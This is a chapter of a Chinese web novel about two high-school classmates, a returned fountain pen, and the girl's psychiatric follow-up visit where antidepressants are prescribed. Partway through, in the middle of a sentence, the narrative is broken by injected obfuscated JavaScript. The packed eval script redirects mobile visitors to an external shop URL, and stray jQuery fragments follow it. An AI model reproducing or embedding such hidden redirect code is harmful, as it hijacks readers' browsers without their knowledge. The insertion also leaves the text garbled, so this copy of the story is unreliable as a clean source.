其实男生用粉色的东西没什么,好多人都热衷于穿粉色的T恤和球鞋,薛浩自己就有。
但也不是这种浅淡的粉,而是烧包的亮粉。
而且按薛浩对江遐的了解,他是绝对不会用这样的笔的。要是有人敢恶作剧把这种东西放在江遐的笔袋里……嘶,薛浩想象一下,应该没那个可能。
他思考两秒,撞了撞江遐的肩,作恍然大悟状:“哦,又是哪个江哥的小迷妹送的吧。”
“你有病?”江遐眯眼,语气不善。
薛浩一下子噤声,他挠挠头:“不是的话,那就是跟什么人拿混了。”
他的话提醒了江遐,他想起昨天临放学时,洛柠的笔袋被人打翻一事。那时,他的书包敞着口放在地上,跟现在一样。
难道是那个时候?
“我知道是谁的了,下午给她。”江遐朝薛浩伸出手。
“话怎么只说一半啊江哥,到底是谁的?”
被薛浩烦得够呛,江遐忍无可忍道:“洛柠的。”
名字脱口而出的瞬间,他莫名有些不自在,偏了偏头,意识到这好像是他第一次叫出这个名字。
“等等。”薛浩没把那支钢笔递给江遐,他转动着笔身,看清笔帽上的logo,忍不住睁大眼睛:“我去,我知道这个牌子,是德国的,可贵了!”
“有多贵?”江遐随口一问。
薛浩想了想:“基础款都要上万吧。”薛浩的爸爸是宜泽市硬笔书法协会的,平常总在薛浩耳边念叨各种钢笔,久而久之,薛浩也耳熟能详了。
他“啧啧”两声,感叹道:“看不出来啊,班长这么有实力。要换作是我,发现钢笔丢了,估计要急疯了。”
江遐闻言,若有所思。正好上课铃响起,他从薛浩手里拿过那支钢笔,把人赶走了。
他从桌洞里摸出手机,点进班级群,找到那个眼熟的头像。手指悬空在屏幕上方,停顿了足足半分钟,一条好友申请才发送出去。
江遐估计一时半会收不到回复。昨晚又熬夜替人打游戏,他现在看到手机就恶心,手机不想玩,睡也睡不着,他还是打算干点别的。
刚要收起手机,没想到屏幕又亮了。
[“luo”通过了你的好友申请。]
江遐抬头看表,显示的时间是八点五十分,他举起手机。
医院走廊里,阳光明媚,入目之处一片明净洁白。洛柠抱着书包,安安静静地坐在椅子上等待。她早饭几乎没怎么吃,空气中若有若无的消毒水味让她有些头晕。
她本来想闭目养神,现在却盯着手机发愣。
江遐为什么会突然加自己好友?
刚加入班级群那会儿,有好多人加她好友,洛柠都一一同意了。可是江遐为什么现在要加她好友,他们明明都不熟啊。
她还是决定发个打招呼的表情包,然而,就在她犹豫的这短短几秒内,对方迅速甩了张照片过来,后面跟了简短的两个字。
[你的?]
洛柠点开那张照片,立刻睁大双眼。她拉开书包拉链,埋头翻找一顿,这才意识到自己的钢笔不知什么时候弄丢了。
这支笔是洛明森从国外给她带回来的,好几年前的款式,现在已经停产了。
其实弄丢一支笔不足以让她心疼,但这支笔对她而言意义非凡。她每次考试,都必要用它来写作文,这习惯坚持了好几年。她倒是不信“同一支笔用久了会有灵气附体”类的迷信说法,只是真的很喜欢这支笔。
luo:[是的!]
她又实在好奇,忍不住发消息问:[你是在哪里捡到的?]
江遐的回复言简意赅,显然是不愿多说:[被人碰掉了,恰好掉到我这里。]
大屏上显示的号码不断滚动,洛柠前面只剩一个人排号。坐在她对面的岑澜抬头看了一眼,对她说:“快要到你了。”
“嗯,我马上就好。”洛柠应了一声,发送了一个“谢谢”的表情包。
窗外鸟鸣啁啾,讲台上物理老师唾沫横飞,叫人心烦意乱。屏幕上,一只卡通小猫三百六十度旋转跳跃,手里举着个牌子,上面“谢谢”两个大字忽闪忽闪。
江遐忽然意味不明地笑了一下。
“咚咚咚!”教室前门被人大力拍响,全班同学,包括喋喋不休的物理老师在内,都猝不及防被吓了一大跳。
物理老师拍拍手里的粉笔灰,上前开门。
门外是蒋建明气急败坏的脸。
“你们班的江遐呢?叫他给我出来!”蒋建明是真的很生气,迟到了敢在他眼皮子底下溜走的,江遐算是第一个。偏偏他早晨要开会,没法抽身过来,开会时越想越气,于是他刚一散会就直奔高二三班。
被点到名字的江遐淡定地低头,又瞄了一眼那只小猫,这才在全班同学同情的目光中,把气势汹汹等在前门的蒋建明晾在那,一脸无所谓地从后门走出去。
医院这头,前一个人从诊室走出,下一个就轮到洛柠,岑澜已经催促了好几遍。确认手机那头不会再有消息发过来了,洛柠把手机放到包里,步子缓慢地跟着岑澜,一点点挪进诊室。
给她看病的是个姓姜的年轻医生,人很温和,说话循循善诱,很容易让人生出信任感。
姜医生照例问了洛柠一些问题。
“这个月整体心情怎么样?”
洛柠抿唇:“还可以。”
“睡眠呢?上床多久能入睡?”
“挺好的,很快就睡着了。”
一连问了几个问题,得到的都是这种中肯的回答,医生笔尖停在病历本上,抬眼淡淡看了洛柠一眼,没有立刻记录:“你总是这样回答,我没法了解到真实情况。这里只有我们两个人,直接如实告诉我就可以,好吗?”说罢,他抬手示意岑澜先出去。
岑澜看了洛柠一眼,掩上门退出去。
姜医生语气平缓柔和,但洛柠总觉得他的眼睛能洞穿自己内心的想法。她低下头,犹豫一下,还是按照医生的要求,一五一十告诉他近况。
“我知道了。”医生点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887747|212615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他笔尖轻点手里的病案本,分析道:“整体来看,情况还是很不错的,不过,药暂时不能停,还需要再吃一段时间。上次开的药差不多吃完了吧?”
洛柠身形一僵,但声音如常,“是的。”她轻轻道。
“那就还是老样子,一盒舍曲林,一盒曲唑酮。”姜医生递给她一张打印好的白色处方单,“去药房开药吧。”
洛柠攥着处方单,关上诊室门,她呼出一口气,后背汗水微微浸湿衣服。
岑澜把塑料袋递给洛柠,那两盒药很快被塞进书包深处。
此刻已经是上午十一点多了,岑澜把车开出停车场。
她今天开的是自己的车,接收着四面八方或惊叹或艳羡的目光,岑澜心情大好:“中午去商场吃饭吧,下午有个品牌专柜请我喝下午茶,带你一起去。昨天不是刚考完试吗,正好带你放松一下。”
“不去,”洛柠抱着书包,很干脆地拒绝道,“我要回学校学习。”
岑澜闻言,诧异地从后视镜里看她一眼:“没关系的,我跟你们孟老师请了一天的假。”
洛柠还是坚持要回学校,岑澜拗不过她,简单吃了个午饭,就把洛柠送回宜泽一中。
中午艳阳似火,校门口只有零零星星几个学生,都是家离学校比较近,申请午间走读,回家吃午饭的。
一辆玛莎拉蒂停在校门口,车身优雅流畅,阳光下泛着夺目的珠光白。纵使室外温度灼人,学生们还是不由得停下脚步,朝这边好奇张望。
一直等到外面人都走尽,洛柠才拿起书包,提着一个手提袋,打开车门:“我不是说,停在马路对面,我自己走过来就可以吗?”
岑澜不屑道:“那为什么不直接开到校门口,还能少走些路……哎!”
后面的话没有说完,因为洛柠甩上了车门,头也不回地往学校走。
现在是午练时间,走廊上寂静无声,空无一人,洛柠本打算从后门进教室。结果刚转过拐角,就在走廊上看到一个熟悉的身影,她吓了一跳:“江遐?”
少年原本背对着教室门,靠在栏杆上向远处张望,闻言回过头,站直身子。
他本以为洛柠只是下意识叫他,却没想到洛柠磨磨蹭蹭走到他面前。
江遐比洛柠高不少,她举起手里的纸袋,茶褐色的瞳仁盛着天光,一转不转地看着他:“这个给你,谢谢你啊。”
江遐没接。这是在?
洛柠小声道:“就是上午的事啊。”说罢,她直接把纸袋塞到江遐手里,走进了教室。
江遐盯着手里多出来的纸袋,陷入了沉默。半晌,他才意识到她说的“上午的事”是指什么,他根本没把这件事放在心上,被蒋建明勒令罚站一天后,他无聊得很,早就把这件事抛之脑后。
纸袋里面是一盒圆滚滚的小麻薯,用丝带包装得很精美。
江遐不爱吃甜的,许久才拈起一粒放进口中。
奶香味中夹杂着海盐的咸,在舌尖晕开,带着刚从冰柜取出不久的凉意,甜而不腻。